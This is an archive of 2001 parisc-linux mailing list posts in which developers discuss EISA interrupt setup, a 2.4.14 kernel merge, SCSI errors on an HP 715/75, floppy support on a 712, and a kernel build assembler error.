X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:31 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Tom <palinux@alaskatech.org>, Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 15:34:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 4F2E4482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 15:33:59 -0700 (MST)
Original-Received: (qmail 10935 invoked by uid 0); 9 Nov 2001 22:33:57 -0000
Original-Received: from pd9e08534.dip.t-dialin.net (HELO P100.helgenet.de) (217.224.133.52)
  by mail.gmx.net (mp010-rz3) with SMTP; 9 Nov 2001 22:33:57 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <Pine.LNX.4.33.0111091320560.4707-100000@goliath.alaskatech.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12978

> > On Fri, 9 Nov 2001, Jochen Friedrich wrote:
> > Pretty strange you're getting any interrupts, as with the current patch
> > the EISA PIC isn't initialized, at all...
>
> Not that strange, I'm thinking. Lots of ISA cards have the IO and IRQ
> hard-coded on them, either via jumper or logically. I'd guess this NIC is
> advertising it's presence and resources used, so the system is picking up
> on it. Impressive that it's working, though...

It's even better :-)
This card uses the ne2.c driver and this driver probes all adresses 0x300, 0x320, 0x340, ...
and then uses Linux's irq autodetection code. Nothing hardcoded here.

Helge



From - Thu Nov 08 21:20:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA stuff now in CVS
Date: Fri, 9 Nov 2001 23:47:21 +0100 (CET)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.40.0111092343380.12365-100000@alpha.bocc.de>
References: <20011109222255.8DB90482C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620731 29696 80.91.229.3 (22 Nov 2014 01:45:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 15:47:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69B19482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 15:47:31 -0700 (MST)
Original-Received: from pD9E01D7C.dip.t-dialin.net (pD9E01D7C.dip.t-dialin.net [217.224.29.124])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id fA9MlR613380;
	Fri, 9 Nov 2001 23:47:27 +0100 (CET)
X-X-Sender: jochen@alpha.bocc.de
In-Reply-To: <20011109222255.8DB90482C@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12979

Hi Helge,

> Hi Jochen,
> Daniel's newest patch is in CVS only. Update your tree or download the whole
> kernel source from ftp://parisc-linux.org/cvs

That's what i did and checked. 

However in the CVS version, init_eisa_pic() is called before EISA_bus is 
set to 1, so all the initialisation isn't really written to the chip...

That's what my patch fixes.

Cheers,
Jochen




From - Thu Nov 08 21:20:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA stuff now in CVS
Date: Sat, 10 Nov 2001 00:06:55 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20011109230724.D0CAF482C@dsl2.external.hp.com>
References: <Pine.LNX.4.40.0111092343380.12365-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620732 29699 80.91.229.3 (22 Nov 2014 01:45:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 16:07:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id D0CAF482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 16:07:24 -0700 (MST)
Original-Received: (qmail 19038 invoked by uid 0); 9 Nov 2001 23:07:22 -0000
Original-Received: from pd9e08534.dip.t-dialin.net (HELO P100.helgenet.de) (217.224.133.52)
  by mail.gmx.net (mp007-rz3) with SMTP; 9 Nov 2001 23:07:22 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <Pine.LNX.4.40.0111092343380.12365-100000@alpha.bocc.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12980

On Friday 09 November 2001 23:47, Jochen Friedrich wrote:
> Hi Helge,
>
> > Hi Jochen,
> > Daniel's newest patch is in CVS only. Update your tree or download the
> > whole kernel source from ftp://parisc-linux.org/cvs
>
> That's what i did and checked.
>
> However in the CVS version, init_eisa_pic() is called before EISA_bus is
> set to 1, so all the initialisation isn't really written to the chip...
>
> That's what my patch fixes.

Ooops....
Yes, I mixed that up. I'll check and fix that.
Now I'm wondering myself how it could have worked here. Maybe I just was lucky 
and the PDC in the 715/64 already did the proper initialization itself ?

Helge




From - Thu Nov 08 21:20:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merged 2.4.14
Date: Fri, 09 Nov 2001 16:38:14 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <m162LDy-000PwmC@bame.riverrock.org>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620732 29703 80.91.229.3 (22 Nov 2014 01:45:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 16:38:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id E363B482C
	for <parisc-linux@parisc-linux.org>; Fri,  9 Nov 2001 16:38:19 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA08146
	for <parisc-linux@parisc-linux.org>; Fri, 9 Nov 2001 16:38:14 -0700
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m162LDy-000PwmC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Fri, 9 Nov 2001 16:38:14 -0700 (MST) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12981

willy, Fleedwood, and I committed an initial merge of 2.4.14
to CVS.  IT HAS NOT BEEN TESTED.  If you need a good version
use the tag V249_PA79 or LINUS_2414_PREMERGE which are probably identical.
Fix bugs, have fun :-)

For drivers/net/pcnet32.c we adopted upstream which probably isn't
right (helge?)

	-Paul Bame



From - Thu Nov 08 21:20:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <vze26vn8@verizon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SCSI errors after installing 0.9.2 on a 715/75
Date: Fri, 09 Nov 2001 22:14:19 -0500
Lines: 95
Approved: news@gmane.org
Message-ID: <3BEC9B8B.8060408@verizon.net>
Reply-To: raffo@neuronet.pitt.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620732 29708 80.91.229.3 (22 Nov 2014 01:45:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 20:13:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtppop3pub.verizon.net (smtppop3pub.gte.net [206.46.170.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79BD7482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 20:13:25 -0700 (MST)
Original-Received: from verizon.net (pool-151-201-37-152.pitt.east.verizon.net [151.201.37.152])
	by smtppop3pub.verizon.net  with ESMTP
	for <parisc-linux@lists.parisc-linux.org>; id VAA51315175
	Fri, 9 Nov 2001 21:13:03 -0600 (CST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12982

Hello,

I'm trying again to get a working system on this 715/75. Installation of 
the base system using the 0.9.2 CD went well.

I was performing an "apt-get upgrade" and got this erro messages:


# apt-get upgrade
Reading Package Lists... Done
Building Dependency Tree... Done
The following packages have been kept back
   bsdutils dpkg gzip ipchains logrotate mount nano net-tools ppp procps
   sysvinit util-linux
63 packages upgraded, 0 newly installed, 0 to remove and 12  not upgraded.
Need to get 1536kB/18.1MB of archives. After unpacking 270kB will be freed.
Do you want to continue? [Y/n] y
Get:1 ftp://ftp.us.debian.org unstable/main console-tools 1:0.2.3-23.2 
[262kB]
Get:2 ftp://ftp.us.debian.org unstable/main modutils 2.4.10-4 [249kB] 

Get:3 ftp://ftp.us.debian.org unstable/main apt-utils 0.5.4 [210kB] 

Get:4 ftp://ftp.us.debian.org unstable/main tasksel 1.11 [33.2kB] 

Get:5 ftp://ftp.us.debian.org unstable/main base-config 1.29 [114kB] 

Get:6 ftp://ftp.us.debian.org unstable/main dhcp-client 2.0pl5-6.1 
[194kB]
Get:7 ftp://ftp.us.debian.org unstable/main fdutils 5.3-3.3 [359kB] 

Get:8 ftp://ftp.us.debian.org unstable/main modconf 0.2.37 [114kB] 

Fetched 1536kB in 31s (48.7kB/s) 

scsi0: Serious error, sstat0 = 04
scsi0: Chip register contents:
  (script[0] at virt 10050000, bus 50000)
  00  sien:  af  sdid:  40  scntl1:20  scntl0:d4
  04  socl:  06  sodl:  c9  sxfer: 00  scid:  80
  08  sbcl:  00  sbdl:  00  sidl:  00  sfbr:  00
  0C  sstat2:0e  sstat1:20  sstat0:00  dstat: 00
  10
  14  ctest3:df  ctest2:31  ctest1:03  ctest0:00
  18  ctest7:00  ctest6:eb  ctest5:00  ctest4:00
  1C  temp:  00000000
  20              ctest8:ff  istat: 06  dfifo: 04
  24  dbc:   0e000006  dnad:  00056cde  dsp:   00056038
  30  dsps:  00056cde
  34  dmode: 80
  38  dcntl: 80  dwt:   00  dien:  1d
  3C
scsi0: Unexpected stacked interrupt, istat 06, sstat0 08, dstat 00
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI 
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00056038 (script[0x180e]), dsps = 00056cde, target = 0
scsi0: Failing command for ID6
scsi0: Unable to send Bus Device Reset for target 6
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
SCSI disk error : host 0 channel 0 id 6 lun 0 return code = 2
  I/O error: dev 08:03, sector 1450072
  I/O error: dev 08:03, sector 1450080
  I/O error: dev 08:03, sector 16
  I/O error: dev 08:03, sector 25200
  I/O error: dev 08:03, sector 1048608
  I/O error: dev 08:03, sector 1059400
  I/O error: dev 08:03, sector 1311040
  I/O error: dev 08:03, sector 1324576
  I/O error: dev 08:03, sector 1450320
  I/O error: dev 08:03, sector 1450568
  I/O error: dev 08:03, sector 1450816
  I/O error: dev 08:03, sector 1451064
  I/O error: dev 08:03, sector 1451312 

  I/O error: dev 08:03, sector 1451560 

  I/O error: dev 08:03, sector 1451808 

 

 
         Is there a newer kernel image I can use that has a more stable 
SCSI? If so where can I retrieve it and how to replace the one installed 
from the CD in the hard drive.

Thanks.
-- 
      Rafael




From - Thu Nov 08 21:20:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Floppy on a 712/60
Date: Fri, 09 Nov 2001 22:55:29 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <200111100555.WAA01416@puffin.external.hp.com>
References: <jbglaw@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620733 29709 80.91.229.3 (22 Nov 2014 01:45:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 22:59:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C1B2482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 22:59:34 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA01416;
	Fri, 9 Nov 2001 22:55:29 -0700
In-Reply-To: Message from Jan-Benedict Glaw <jbglaw@lug-owl.de> 
   of "Fri, 09 Nov 2001 21:31:10 +0100." <20011109213107.E16534@lug-owl.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12983

Jan-Benedict Glaw wrote:
> Well, the box is missing it's floppy drive.
> Can I attach a standard floppy drive ripped off an ordinary PC?

I haven't tried it but I think so.
Please try and tell us.
If you fry the box I'll replace it.

> Further on, I'm currently compiling massively.
> 
> I can't compile the "normal" floppy.o module. Is there a special one, or
> is ./include/asm/floppy.h a bit hosed (kernel sources are from CVS)?

Not ported yet. You need to add some code to "publish" the floppy device's
existance similar to serial port for lasi and kluge floppy support into
dma.h. At least what I recall off the top of my head.

grant



From - Thu Nov 08 21:20:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA stuff now in CVS
Date: Fri, 09 Nov 2001 23:00:45 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <200111100600.XAA01455@puffin.external.hp.com>
References: <deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620733 29713 80.91.229.3 (22 Nov 2014 01:45:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:33 +0000 (UTC)
Cc: Jochen Friedrich <jochen@scram.de>,
	parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  9 23:04:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5271E482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Nov 2001 23:04:56 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA01455;
	Fri, 9 Nov 2001 23:00:45 -0700
In-Reply-To: Message from Helge Deller <deller@gmx.de> 
   of "Sat, 10 Nov 2001 00:06:55 +0100." <20011109230724.D0CAF482C@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12984

Helge Deller wrote:
> Now I'm wondering myself how it could have worked here. Maybe I just
> was lucky 
> and the PDC in the 715/64 already did the proper initialization itself ?

lucky most likely. PDC/IODC don't  use interrupts.
I've been told all firmware IO is polled.

grant



From - Thu Nov 08 21:20:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurijus@theophys.kth.se>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Floppy on a 712/60
Date: Sat, 10 Nov 2001 20:30:05 +0100 (CET)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0111102023200.344-100000@uranus.theophys.kth.se>
References: <200111100555.WAA01416@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620733 29716 80.91.229.3 (22 Nov 2014 01:45:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 10 12:30:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from medea.theophys.kth.se (medea.theophys.kth.se [130.237.25.82])
	by dsl2.external.hp.com (Postfix) with SMTP id 1AF8B482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 Nov 2001 12:30:08 -0700 (MST)
Original-Received: (qmail 23198 invoked from network); 10 Nov 2001 19:26:39 -0000
Original-Received: from uranus.theophys.kth.se (130.237.25.178)
  by medea.theophys.kth.se with SMTP; 10 Nov 2001 19:26:39 -0000
In-Reply-To: <200111100555.WAA01416@puffin.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12985

Hi!

On Fri, 9 Nov 2001, Grant Grundler wrote:

> Jan-Benedict Glaw wrote:
> > Well, the box is missing it's floppy drive.
> > Can I attach a standard floppy drive ripped off an ordinary PC?
> 
> I haven't tried it but I think so.
> Please try and tell us.
> If you fry the box I'll replace it.

I've tried that on 712/80. Connected a standard PC floppy, didn't burn
the box but didn't get any signs of life from the floppy either. The
floppy LED never goes on, not even in the initial bootup stage. I've then
tried writing different values to the floppy registers through lasi,
following the controller docs, trying to reset it or at least get to do
something. No success. Main floppy status register always returns 0 - no
good. Given any ideas I might try to do it again.

Best regards,

Jurij.





From - Thu Nov 08 21:20:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Current Debian still broken?
Date: Sat, 10 Nov 2001 23:28:48 +0100 (CET)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0111102323090.11348-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620734 29721 80.91.229.3 (22 Nov 2014 01:45:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:34 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 10 15:29:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6321F482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 Nov 2001 15:29:02 -0700 (MST)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id fAAMSn626576
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 Nov 2001 23:28:49 +0100 (CET)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12986

Hi,

when trying to compile the new 2.2.14 based parisc tree, i get the
following error:

gcc -D__KERNEL__ -I/usr/src/linux/include -Wall -Wstrict-prototypes
-Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing -fno-common
-D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1
-mschedule=7100    -c -o sd.o sd.c
{standard input}: Assembler messages:
{standard input}:583: Error: Invalid operands
{standard input}:607: Error: Invalid operands
make[3]: *** [sd.o] Error 1

Cheers,
Jochen




From - Thu Nov 08 21:20:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
